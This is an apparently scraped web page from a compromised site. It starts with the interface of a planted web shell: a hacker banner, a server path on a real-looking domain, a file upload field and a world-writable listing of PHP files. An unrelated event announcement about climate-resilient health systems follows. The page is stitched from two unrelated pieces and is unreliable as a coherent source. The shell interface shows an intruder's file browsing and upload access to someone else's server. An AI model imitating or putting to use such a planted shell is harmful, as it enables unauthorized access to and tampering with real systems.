I am a hacker in the dark of a very cold night

path :/var/www/html/vorne.webheaydemo.com

upload file:

List of files:

name file size edit permission action
Status304.php460 KBJanuary 08 2024 11:44:320666
Status305.php451 KBJanuary 08 2024 11:44:320666
Status306.php460 KBJanuary 08 2024 11:44:320666
Status400.php457 KBJanuary 08 2024 11:44:320666
Status401.php460 KBJanuary 08 2024 11:44:320666
Status402.php472 KBJanuary 08 2024 11:44:320666
Status403.php451 KBJanuary 08 2024 11:44:320666
Status404.php451 KBJanuary 08 2024 11:44:320666
Status405.php478 KBJanuary 08 2024 11:44:320666
Status406.php466 KBJanuary 08 2024 11:44:320666
Status407.php511 KBJanuary 08 2024 11:44:320666
Status408.php469 KBJanuary 08 2024 11:44:320666
Status409.php448 KBJanuary 08 2024 11:44:320666
Status410.php436 KBJanuary 08 2024 11:44:320666
Status411.php469 KBJanuary 08 2024 11:44:320666
Status412.php481 KBJanuary 08 2024 11:44:320666
Status413.php496 KBJanuary 08 2024 11:44:320666
Status414.php487 KBJanuary 08 2024 11:44:320666
Status415.php490 KBJanuary 08 2024 11:44:320666
Status416.php517 KBJanuary 08 2024 11:44:320666
Status417.php478 KBJanuary 08 2024 11:44:320666
Status418.php556 KBJanuary 08 2024 11:44:320666
Status428.php583 KBJanuary 08 2024 11:44:320666
Status429.php627 KBJanuary 08 2024 11:44:320666
Status431.php613 KBJanuary 08 2024 11:44:320666
Status500.php487 KBJanuary 08 2024 11:44:320666
Status501.php469 KBJanuary 08 2024 11:44:320666
Status502.php457 KBJanuary 08 2024 11:44:320666
Status503.php481 KBJanuary 08 2024 11:44:320666
Status504.php469 KBJanuary 08 2024 11:44:320666
Status505.php502 KBJanuary 08 2024 11:44:320666
Status511.php613 KBJanuary 08 2024 11:44:320666
StatusUnknown.php970 KBJanuary 08 2024 11:44:320666
VORNE.AI - Event Details
Future Proofing: Building Climate-resilient Health Systems
29 May
2024
CHIEF

Future Proofing: Building Climate-resilient Health Systems

This high level event brings Ministers of health, Investors (multilateral and private), Global Health Institutions and Innovators to explore how countries can evolve policies and strategies for climate-resilient health systems. The Climate & Health Global Technical Assistance Platform and Knowledge Community will also be launched at this session.

Wednesday 29 May | 18H00-19H30 | Intercontinental Hotel, Ballroom A